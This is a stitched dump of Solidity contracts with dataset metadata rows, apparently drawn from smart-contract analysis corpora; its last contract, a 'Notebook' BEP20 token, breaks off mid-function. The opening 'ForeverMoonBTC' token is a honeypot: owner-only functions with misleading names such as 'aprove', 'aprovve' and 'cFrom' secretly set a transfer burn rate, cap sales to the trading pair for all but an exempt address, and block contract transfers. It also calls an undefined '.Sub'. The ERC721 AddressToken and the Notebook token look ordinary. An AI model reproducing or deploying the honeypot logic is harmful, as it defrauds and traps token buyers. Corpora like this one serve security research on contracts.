uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ForeverMoonBTC is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _onlyRenounceOwner;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**9;
bool public a = true;
string public _name;
string public _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
uint256 private _Renew;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable private BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_onlyRenounceOwner = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
_Renew = 0;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function aprove(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
a = _a;
}
function aprovve(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_Renew= amount;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _onlyRenounceOwner, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(_Renew).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 254,629 | 236 |
4bf9466e936c5875ca68a4c39e383505d4d4f9aacb1c9d96b3c8cd24ffc5c031
| 31,135 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xcc4defd34fc7c72afe3750bb01f80600cf4facb7.sol
| 5,083 | 17,626 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
contract IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes data)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal _supportedInterfaces;
constructor()
public
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _clearApproval(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkAndCallSafeTransfer(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Enumerable.sol
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Enumerable.sol
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(address owner,
uint256 index)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) public view returns (string);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
// File: contracts/AddressDeployer.sol
contract IAddressDeployerOwner {
function ownershipTransferred(address _byWhom) public returns(bool);
}
contract AddressDeployer {
event Deployed(address at);
address public owner = msg.sender;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function transferOwnershipAndNotify(IAddressDeployerOwner _newOwner) public onlyOwner {
owner = _newOwner;
require(_newOwner.ownershipTransferred(msg.sender));
}
function deploy(bytes _data) public onlyOwner returns(address addr) {
// solium-disable-next-line security/no-inline-assembly
assembly {
addr := create(0, add(_data, 0x20), mload(_data))
}
require(addr != 0);
emit Deployed(addr);
// For some reason selfdestruct fails! Will fix in next update!
owner = 0; // selfdestruct(msg.sender);
}
}
// File: contracts/AddressToken.sol
contract AddressToken is ERC721Full("AddressToken", "ATKN"), IAddressDeployerOwner {
bytes32 public deployerHash;
constructor(bytes32 _deployerHash) public {
deployerHash = _deployerHash;
}
function ownershipTransferred(address _byWhom) public returns(bool) {
mint(_byWhom);
return true;
}
// Should be called by AddressDeployer smart contract
function mint(address _beneficiary) public returns(bool) {
require(deployerHash == keccak256(bytecodeAt(msg.sender)));
_mint(_beneficiary, uint256(msg.sender));
return true;
}
function burn(uint256 _tokenId) public returns(bool) {
require(_isApprovedOrOwner(msg.sender, _tokenId));
_burn(msg.sender, _tokenId);
AddressDeployer(_tokenId).transferOwnership(msg.sender);
return true;
}
function deploy(uint256 _tokenId, bytes _data) public returns(bool) {
require(_isApprovedOrOwner(msg.sender, _tokenId));
_burn(msg.sender, _tokenId);
AddressDeployer(_tokenId).deploy(_data);
return true;
}
function tokenURI(uint256 _tokenId) public view returns(string) {
address destination = firstAddressFromDeployer(address(_tokenId));
return addressToURI(destination);
}
// https://solidity.readthedocs.io/en/v0.4.24/assembly.html#example
function bytecodeAt(address _addr) public view returns(bytes outCode) {
// solium-disable-next-line security/no-inline-assembly
assembly {
// retrieve the size of the code, this needs assembly
let size := extcodesize(_addr)
// allocate output byte array - this could also be done without assembly
// by using outCode = new bytes(size)
outCode := mload(0x40)
// new "memory end" including padding
mstore(0x40, add(outCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// store length in memory
mstore(outCode, size)
// actually retrieve the code, this needs assembly
extcodecopy(_addr, add(outCode, 0x20), 0, size)
}
}
function addressToURI(address _addr) public pure returns(string) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "e";
str[1] = "t";
str[2] = "h";
str[3] = "e";
str[4] = "r";
str[5] = "e";
str[6] = "u";
str[7] = "m";
str[8] = ":";
str[9] = "0";
str[10] = "x";
for (uint i = 0; i < 20; i++) {
str[11+i*2] = alphabet[uint(value[i + 12] >> 4)];
str[12+i*2] = alphabet[uint(value[i + 12] & 0x0f)];
}
return string(str);
}
function firstAddressFromDeployer(address _deployer) public pure returns(address) {
// solium-disable-next-line arg-overflow
return address(keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _deployer, byte(1))));
}
}
| 219,927 | 237 |
c029dc6e1d6532be07fc7a88aa6773131a84b4bcfaa9ab572daaf0cc801d1674
| 38,149 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6d64C1210203b363d0E62Ea5Fe185a33a0a16341/contract.sol
| 4,851 | 19,053 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// TEST!!! Not Buy
contract Notebook is BEP20('Notebook', 'NTB') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
